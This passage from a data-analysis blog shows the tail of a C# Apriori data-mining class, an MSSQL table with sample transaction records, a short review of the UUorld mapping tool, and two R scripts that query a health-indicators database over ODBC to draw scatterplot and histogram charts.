            _dataAnalysis.Tables.Add(dataView.CreateViewSubsetTable(_dataAnalysis).Copy());

            // Spacer Line
            Console.WriteLine();

            // Print Items
            foreach (DataRow row in dataView.ViewDataSet.Tables[1].Rows)
            {
                double per = Convert.ToDouble(row.ItemArray[2].ToString().Substring(0, (row.ItemArray[2].ToString().Length -1)));
                Console.WriteLine(row.ItemArray[0] + "\t" + row.ItemArray[1] + "\t" + String.Format("{0:###.##%}", (per/100)));
            }
        }

        /// <summary>
        /// Called when [progress monitor event].
        /// </summary>
        /// <param name="sender">The sender.</param>
        /// <param name="e">The <see cref="VISUAL_BASIC_DATA_MINING_NET.CustomEvents.ProgressMonitorEventArgs"/> instance containing the event data.</param>
        public void OnProgressMonitorEvent(object sender, ProgressMonitorEventArgs e)
        {
            // Prints Event Messages
            Console.Write("\r" + e.EventMessage);
        }
    }
}

Your MSSQL Code will be this

GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[Example](
	[TransactionID] [int] IDENTITY(1,1) NOT NULL,
	[Transactions] [nvarchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 CONSTRAINT [PK_Example] PRIMARY KEY CLUSTERED
(
	[TransactionID] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

And these records:

1	Books, CD, Video
2	CD, Games
3	CD, DVD
4	Books, CD, Games
5	Books, DVD
6	CD, DVD
7	Books, DVD
8	Books, CD, DVD, Video
9	Books, CD, DVD
10	Books, Games
11	Games, Lasers

Run the RunApriori() method in my class and it will yield you the correct results. Have fun.

UUorld has quickly become one of my new favorite toys as of late. What is it? As the site explains it “provides an immersive mapping environment, high-quality data, and critical analysis tools.”

Here is just a simple result of what the map looks like:

Here are some of the highlights:

1. Supports time series data
2. Fairly extensive database to pull data from online (apparently of 10,000 different datasets)
3. Create you own datasets via csv files
4. Export to video
5. Export to KML file for use in google maps/earth.
6. Has the following border sets: Country, US States/Counties, US Zip Codes

There is one caveat that I feel I must add to not give the impression that all is rosy – I bought the application over a week ago and it took several e-mails for them to reply to me and finally get my full download.

As an extension of yesterdays post here is another fairly cool chart you can do in R. For this little sample we are using the same data as before but for my sql query I have to do a crosstab query. So lets take a look at the code:

# includes
library(RODBC)

# create connection
channel <- odbcConnect("HealthDB")

# query database
myData <- sqlQuery(channel, "SELECT
Country AS 'Country',
Year AS 'Year',
[96741] AS 'GDP growth (annual %)--WDI-2009',
[96841] AS 'GDP per capita (constant 2000 US$)--WDI-2009',
[99941] AS 'Population growth (annual %)--WDI-2009',
[100041] AS 'Population, total--WDI-2009'
FROM
(
SELECT DISTINCT CountryID, Country, Year, IndicatorID, IndValue
FROM [Time Series Data]
WHERE (
((IndicatorID) = 96741) OR
((IndicatorID) = 96841) OR
((IndicatorID) = 99941) OR
((IndicatorID) = 100041))
AND
(((CountryID) = 4118) OR
((CountryID) = 4125) OR
((CountryID) = 4129) OR
((CountryID) = 4134) OR
((CountryID) = 4141) OR
((CountryID) = 4145) OR
((CountryID) = 4164) OR
((CountryID) = 4186) OR
((CountryID) = 4213) OR
((CountryID) = 4327) OR
((CountryID) = 4219) OR
((CountryID) = 4221) OR
((CountryID) = 4227) OR
((CountryID) = 4230) OR
((CountryID) = 4243) OR
((CountryID) = 4326) OR
((CountryID) = 4268) OR
((CountryID) = 4272) OR
((CountryID) = 4273) OR
((CountryID) = 4325) OR
((CountryID) = 4300) OR
((CountryID) = 4308) OR
((CountryID) = 4309) OR
((CountryID) = 4311) OR
((CountryID) = 4316))
AND
(NOT (Year IS NULL)) AND (Year >= 1960) AND
(Year <= 2007))
ps
PIVOT (
MAX(IndValue)
FOR IndicatorID IN ([96741], [96841], [99941], [100041] ) )
AS
pvt
order by Country, Year")

#close connection
odbcClose(channel)

#Plot charts
plot(myData[3:6], col="orange", main="Select Indicators for Europe and Central Asia")

Here is the result

After getting Joseph Adler’s book “Baseball Hacks” I’ve been wanting to get in to R. R is simply an amazing open source statistics/graphing application. For this example we are going pull data from a MSSQL database and make a histogram lattice of a couple of countries.

First, I pulled the data from HealthSystems2020 time series database and imported the data in to MSSQL. I did some minor touch ups to the database giving the indicator an id etc. The second thing you need to do is create an ODBC connection for your database here is a fairly good tutorial. In this example I called my ODBC DSN “HealthDB”. Also make sure you adjust you sql query so that they are pulling the correct names/values.

Finally, here is the code:

# includes
library(RODBC)
library(lattice)

# create connection
channel <- odbcConnect("HealthDB")

# query database
myData <- sqlQuery(channel, "SELECT Country, IndValue
FROM         [YOURTABLE]
WHERE     (id = 96841) AND (
(Country = 'Afghanistan') OR
(Country = 'Bangladesh') OR
(Country = 'Bhutan') OR
(Country = 'India') OR
(Country = 'Maldives') OR
(Country = 'Nepal') OR
(Country = 'Pakistan') OR
(Country = 'China') OR
(Country = 'Indonesia') OR
(Country = 'Sri Lanka'))")

#close connection
odbcClose(channel)

#create histogram
histogram(~ myData[,3] | myData[,1], type="count", col="red", main = "GDP per capita (constant 2000 US$)", xlab="Country")

And here is the result: